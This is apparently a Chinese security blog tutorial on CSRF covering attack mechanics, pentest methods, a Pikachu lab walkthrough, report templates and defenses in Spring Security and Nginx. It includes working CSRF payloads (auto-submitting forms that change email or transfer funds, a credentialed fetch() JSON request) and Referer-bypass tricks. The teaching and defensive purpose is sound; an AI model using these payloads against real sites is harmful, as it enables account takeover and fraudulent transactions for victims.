CSRF漏洞原理、实战与防御全解析-代码聚汇网

CSRF漏洞原理、实战与防御全解析

一叶扁jiang·2026-08-23·阅读 23 GEO检测（免费）

CSRF跨站请求伪造Web安全

|难度：普通|阅读约 14 分钟

1. CSRF漏洞的本质与危害剖析

CSRF（Cross-Site Request Forgery）跨站请求伪造，本质上是一种利用受害者身份在不知情的情况下执行非预期操作的攻击手段。这种攻击之所以危险，在于它完美利用了Web应用中最基础的信任机制——浏览器会自动携带用户的认证凭证（如Cookie）发起请求。

在实战中，我曾遇到过一个典型案例：某电商平台的订单删除接口仅验证了用户登录状态，攻击者构造恶意页面后，诱使已登录管理员访问，导致大量订单被批量删除。这种攻击不需要获取用户密码，也不需要直接入侵服务器，完全依靠"借刀杀人"的方式达成目的。

CSRF与XSS的最大区别在于：

XSS是利用用户对网站的信任，在网站中注入恶意脚本
CSRF则是利用网站对用户浏览器的信任，伪造合法请求

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. CSRF攻击的完整技术链条

2.1 攻击必要条件的三要素

身份验证依赖：目标操作需要身份验证（通常通过Cookie实现）
参数可预测：请求参数可以被攻击者完整构造
无二次验证：关键操作缺少CSRF Token等额外验证机制

2.2 典型攻击流程分解

以修改用户邮箱为例：

攻击者分析目标网站的修改邮箱接口（如POST /user/change_email）
构造包含恶意参数的HTML表单：

html复制<form action="https://victim.com/user/change_email" method="POST">
  <input type="hidden" name="email" value="hacker@example.com">
</form>
<script>document.forms[0].submit();</script>

诱骗已登录用户访问该恶意页面
浏览器自动携带用户Cookie提交请求
服务器误认为是用户自愿操作，执行邮箱修改

3. 渗透测试中的CSRF漏洞挖掘方法论

3.1 手工测试四步法

接口收集：使用Burp Suite抓取所有状态变更请求（POST/PUT/DELETE）
参数分析：检查请求是否仅依赖Cookie验证身份
POC构造：制作独立HTML文件测试请求是否可伪造
影响评估：判断漏洞可能造成的业务影响等级

3.2 自动化检测方案

推荐使用OWASP ZAP的CSRF扫描插件，其工作原理是：

自动识别所有表单和AJAX请求
移除Cookie等认证头后重放请求
对比响应差异判断防护有效性

重要提示：自动化工具可能遗漏需要多步操作的复杂业务场景，必须结合手工测试

4. 企业级防护方案设计与实现

4.1 防御措施对比表

方案类型	实现方式	优点	缺点
CSRF Token	服务端生成随机Token嵌入表单	安全性高	需要前后端配合
SameSite Cookie	设置Cookie的SameSite属性	实现简单	浏览器兼容性问题
二次验证	敏感操作需重新输入密码	防护彻底	用户体验下降
Referer检查	验证请求来源域名	零成本	易被绕过

4.2 Spring Security实战配置

java复制@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf()
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                .requireCsrfProtectionMatcher(
                    new RequestMatcher() {
                        private final Pattern allowedMethods = 
                            Pattern.compile("^(GET|HEAD|TRACE|OPTIONS)$");
                        
                        @Override
                        public boolean matches(HttpServletRequest request) {
                            return !allowedMethods.matcher(request.getMethod()).matches();
                        }
                    });
    }
}

5. 渗透测试报告编写要点

5.1 漏洞描述模板

code复制漏洞名称：CSRF in [功能模块]
风险等级：[高/中/低]
影响范围：所有已认证用户
漏洞细节：
- 请求方法：[GET/POST]
- 参数列表：[参数1, 参数2...]
- 防护缺失：无CSRF Token验证
复现步骤：
1. 登录系统获取有效会话
2. 访问构造的恶意页面（附POC代码）
3. 观察系统状态变更
修复建议：
1. 添加CSRF Token机制
2. 设置SameSite Cookie属性
3. 关键操作增加二次验证

5.2 风险量化方法

使用DREAD模型评估：

Damage Potential（破坏潜力）：5（可导致数据篡改）
Reproducibility（可复现性）：5（100%成功）
Exploitability（可利用性）：4（需要诱导点击）
Affected Users（影响用户）：3（所有登录用户）
Discoverability（可发现性）：4（通过常规扫描可发现）

6. 靶场实战：Pikachu CSRF漏洞分析

6.1 环境搭建

下载Pikachu漏洞练习平台
配置PHP+MySQL环境
访问/csrf目录下的测试案例

6.2 漏洞利用演示

以修改用户信息为例：

分析正常请求：

code复制POST /pikachu/vul/csrf/csrfpost/csrf_post_edit.php
Content-Type: application/x-www-form-urlencoded

sex=男&phonenum=123456&add=地球村&email=test%40pikachu.com&submit=submit

构造恶意页面：

html复制<body onload="document.forms[0].submit()">
<form action="http://靶场IP/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
  <input type="hidden" name="sex" value="女">
  <input type="hidden" name="phonenum" value="666666">
  <input type="hidden" name="add" value="黑客基地">
  <input type="hidden" name="email" value="hacker@pikachu.com">
</form>

7. 进阶攻击技巧与防御突破

7.1 绕过Referer检查的方法

当网站仅检查Referer头时，可通过以下方式绕过：

使用data URI scheme：

html复制<meta content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" http-equiv="refresh">

利用开放重定向漏洞：

code复制https://victim.com/redirect?url=https://attacker.com

7.2 针对AJAX接口的CSRF

现代前端框架常使用JSON API，防御要点：

禁止使用GET进行状态变更
严格设置Content-Type为application/json
实现CORS策略限制跨域请求

8. 企业级防御体系构建

8.1 防御层级设计

基础层：全站启用SameSite Cookie
业务层：关键操作添加CSRF Token
审计层：敏感操作记录完整请求日志
监控层：异常请求频率告警

8.2 Nginx配置示例

nginx复制# 添加CSRF防护头
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header Content-Security-Policy "default-src 'self'";

# 关键接口限制请求来源
location ~ ^/api/(change_email|transfer) {
    valid_referers none blocked server_names;
    if ($invalid_referer) {
        return 403;
    }
}

9. 渗透测试工程师的CSRF检查清单

9.1 测试要点备忘录

[ ] 检查所有表单是否包含CSRF Token
[ ] 验证Token是否随机且单次有效
[ ] 测试AJAX请求的Origin/Referer检查
[ ] 验证Cookie的SameSite属性设置
[ ] 检查重定向接口是否开放

9.2 常用Payload集合

基本表单CSRF：

html复制<form action="https://victim.com/transfer" method="POST">
  <input type="hidden" name="amount" value="10000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>

JSON CSRF（需CORS配置漏洞）：

javascript复制fetch('https://victim.com/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: '{"to":"attacker","amount":1000}'
});

10. 从漏洞修复到安全开发全流程

10.1 SDLC中的安全控制点

需求阶段：明确各接口的安全要求
设计阶段：制定CSRF防护方案
实现阶段：集成安全框架（如Spring Security）
测试阶段：包含CSRF专项测试用例
运维阶段：监控异常请求模式

10.2 安全编码规范示例

java复制// 错误示例：未防护的Spring MVC控制器
@PostMapping("/transfer")
public String transferMoney(@RequestParam String to, 
                          @RequestParam double amount) {
    // 业务逻辑
}

// 正确示例：启用CSRF防护
@Controller
public class BankController {
    @PostMapping("/transfer")
    public String transferMoney(@RequestParam String to,
                              @RequestParam double amount,
                              @RequestParam("_csrf") String csrfToken) {
        // 验证CSRF Token
        // 业务逻辑
    }
}

在实际渗透测试项目中，我发现很多开发团队会忽略"查看型"请求的CSRF风险。比如某CMS系统的文章预览功能，虽然不修改数据，但可能触发敏感信息泄露。因此建议在测试时，对所有可能返回敏感信息的接口都进行CSRF验证，而不仅限于写操作接口。